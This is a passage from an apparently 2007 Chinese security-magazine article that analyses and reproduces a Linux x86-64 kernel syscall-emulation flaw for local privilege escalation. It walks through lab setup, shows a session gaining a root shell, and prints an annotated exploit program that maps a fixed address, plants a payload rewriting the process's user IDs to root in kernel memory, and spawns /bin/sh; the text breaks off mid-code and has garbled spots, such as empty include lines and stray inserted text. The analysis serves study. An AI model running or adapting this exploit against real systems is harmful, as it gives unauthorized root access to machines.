本篇文章源自《 防线》2007年12月刊
转载请注明版权
作者:张东辉 袁野
2007年09年27日,在milw0rm上公布的一个Linux内核漏洞——“Linux Kernel 2.4/2.6 x86-64 System Call Emulation Exploit”引起了相当大的关注,点击数目前已经累积达到15235点,可以说是今年点击数最高的漏洞,而其他公布出来的漏洞一般都是1000~3000点,最多5000点左右已经算是很受关注了,
Linux 64位内核Ptrace权限提升漏洞分析与利用
。因为这是一个重量级的Linux内核漏洞,可以用来做权限提升,即从任意用户权限提升至Root权限,甚至是内核权限,因此备受关注!而且影响的内核版本比较高。唯一遗憾的是,这个漏洞只作用于64位的系统,并且是在x86-64平台上。漏洞具体描述是这样的:在x86-64平台上,Linux Kernel支持对IA32用户域应用程序的兼容模拟,arch/x86_64/ia32/ia32entry.S代码优化导致在底层汇编例程中使用了无效的opcode,由于没有正确地验证存储在%RAX寄存器中的64位值,可能导致越界系统调用表访问,本地攻击者可以在Linux Kernel系统环境中执行任意指令。由于这个漏洞的严重性,目前Linux各大发行版已发布了该漏洞的补丁。
漏洞重现与分析
作为Linux内核漏洞来学习,我们首先要做的就是重现这个漏洞。看到这个漏洞的title就应该知道,这是一个x86-64平台下的漏洞。x86-64指令集是扩展的64位x86指令集。
目前主流CPU使用的64位技术主要有AMD公司的AMD64位技术、Intel公司的EM64T技术和IA-64技术。其中IA-64是Intel独立开发的,不兼容目前传统的32位计算机,仅用于Itanium(安腾)以及后续产品Itanium 2。
AMD64位技术是在原始32位X86指令集的基础上加入了X86-64扩展64位X86指令集,在硬件上兼容原来的32位X86软件,并同时支持X86-64的扩展64位计算,使得这款芯片成为真正的64位X86芯片。这是一个真正的64位的标准,X86-64具有64位的寻址能力。
Intel官方是给EM64T这样定义的:EM64T全称Extended Memory 64 Technology,即扩展64bit内存技术。EM64T是Intel IA-32架构的扩展,即IA-32e(Intel Architectur-32 extension)。IA-32处理器通过附加EM64T技术,便可在兼容IA-32软件的情况下,允许软件利用更多的内存地址空间,并且允许软件进行32bit线性地址写入。EM64T特别强调的是对32 bit和64 bit的兼容性。
有了以上对64位技术的了解,我们应该能想到,做这个漏洞实验,最好选用AMD64的机器。我们平时使用的32位机器是绝对不行的,我本想用虚拟机在32位机器上安装一个64位的Linux操作系统,最后发现是行不通的。因为虚拟机的原理是把Guest操作系统执行的每一条指令转交给Hos
t操作系统下真实的CPU来执行,所以由于Host中32位的CPU不支持Guest中64位的指令,因此是不可能成功的。另外,我还试图安装模拟器,以在32位机器上模拟一个64位的CPU,后来发现慢得我实在接受不了!于是我还是老老实实的借了一台AMD64机器,如图1所示,上面已经安装了32位的Windows XP操作系统,不过没关系,32位操作系统只要CPU是64位的就可以虚拟出64位的操作系统。
图1
因此,如果大家要重现这个漏洞的话,一定要把64位Linux操作系统装好,最好选用AMD64机器。然后在其上安装VMWare虚拟机,版本高一点比较好,因为低版本的VMWare在64位方面有些还是实验性质的,而高版本已经完全搞定64位虚拟的问题了。我安装的是6.0版的VMWare,如图2所示。
图2
之后安装一个Linux系统,注意一定要选用适合AMD64的安装包,我安装的是Ubuntu 7.04这个发行版的AMD64位安装包——ubuntu-7.04-desktop-amd64.iso。系统装好后,才算实验环境基本搭建好。
Ubuntu 7.04安装好后,不要使用Ubuntu的自动更新,如果内核被更新的话,很可能我们的实验就没法完成了,因为更新就是在给内核打补丁。接下来,我们可以把POC程序(exp.c)在Linux下跑一跑,也就是用gcc编译并运行。
shineast@shineast-desktop:~$ cd /home/shineast/linux_exp/
shineast@shineast-desktop:~/linux_exp$ ls
exp.c
shineast@shineast-desktop:~$ gcc –o exp exp.c
shineast@shineast-desktop:~/linux_exp$ ls
expexp.c
shineast@shineast-desktop:~/linux_exp$ ./exp
UID 0, EUID:0 GID:0, EGID:0
#
注意最后一行的那个“#”,它可不是一般的什么“#”号,而是表示权限成功提升!程序是以一般用户运行的,结果却得到了Root权限的Shell。这确实让人惊叹而兴奋啊!
下面我们就一起来学习一下这段POC程序,网上有位朋友写了这段程序的注释,我在他的基础上又补充了一些,同时把它们串起来,我想这样大家可以理解得更深刻一些。
#include
#include
#include
#include
#include
//int execl(const char * path,const char * arg,....);
#include
#include
#include
//void *mmap(void *start,size_t length,int prot,int flags,int fd,off_t offsize);
#include
uint32_t uid, euid, suid;
static void kernelmodecode(void){
int i;
uint8_t *gs;
uint32_t *ptr;
/*在内核空间,gs寄存器保存了当前任务的task_struct,task_struct记录了进程和线程的所有信息,包括用户id */
asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));
/*遍历task_struct结构,查找用户id保存的位置*/
for (i = 200; i < 1000; i+=1) {
ptr = (uint32_t*) (gs + i);
/*找到用户id保存的位置*/
if ((ptr[0] == uid) && (ptr[1] == euid)
&& (ptr[2] == suid) && (ptr[3] == uid)) {
/*将当前进程用户id、efficency id和suid修改为管理员id,
电脑资料
《Linux 64位内核Ptrace权限提升漏洞分析与利用》()。管理员id==0,这样就使得当前进程拥有了root权限!*/ptr[0] = 0; //UID
ptr[1] = 0; //EUID
ptr[2] = 0; //SUID
break;
}
}
}
//3F 8000 0808,400 0000
static void docall(uint64_t *ptr, uint64_t size){
getresuid(&uid, &euid, &suid);
/* 强制指定地址的mmap必须以K为起始地址边界*/
// 3F 8000 0808 and FFFFFFFFFFF000 = 3F 8000 0000
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
/*下面是子进程A 64位地址空间:
0x00xffffffffffffffff
--------------------------------------
|用户虚地址空间| |||
-----------------------------^--^-^---
|| 系统调用表
|内核结束地址xffffffff84000000
内核起始地址xffffffff80000000
====================================================
以下是执行mmap后的地址空间:
0x0用户虚地址空间0xffffffffffffffff
--------------------------------------
||| | |||
----^------------------------^--^-^---
| || 系统调用表
tmp指向的地址|内核结束地址xffffffff84000000
内核起始地址xffffffff80000000*/
//tmp=3F 8000 0000;size=400 0000
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault");
exit(1);
}
/*将tmp指向的地址填充为我们后门函数!*/
for (; ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;
/*通过位系统调用号进入内核,这个调用会触发父进程的调试!通过父进程修改rax,让内核地址空间溢出,执行到tmp指向的kernelmodecode,并运行在内核空间!更详细内容可以查看最后对内核bug的分析。*/
__asm__(""
" movq $0x101, %rax"
" int $0x80");
printf("UID %d, EUID:%d GID:%d, EGID:%d", getuid(), geteuid(), getgid(), getegid());
/*执行shell!*/
execl("/bin/sh", "bin/sh", 0);
printf("no /bin/sh ??");
exit(0);
}
int main(int argc, char **argv){
int pid, status, set = 0;
/*用来存放CPU中位寄存器RAX*/
uint64_t rax;
/*内核代码段起始虚地址*/
uint64_t kern_s = 0xffffffff80000000;
/*内核静态分配的结束地址*/
uint64_t kern_e = 0xffffffff84000000;
/*用来作为后门的代码地址*/
uint64_t ff = 0x0000000800000101 * 8;//40 0000 0808
/*main()只有第二次被执行才能进入这里*/
if (argc == 4) {
/* 注意:(kern_s+off) 已经溢出!! 3F 8000 0808,所以docall中的mmap才能成功!*/
// 3F 8000 0808,400 0000
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0); //代码无法执行到这里
}
/*main()第一次到这里,创建子进程A。创建子进程的目的是为了让父进程能调试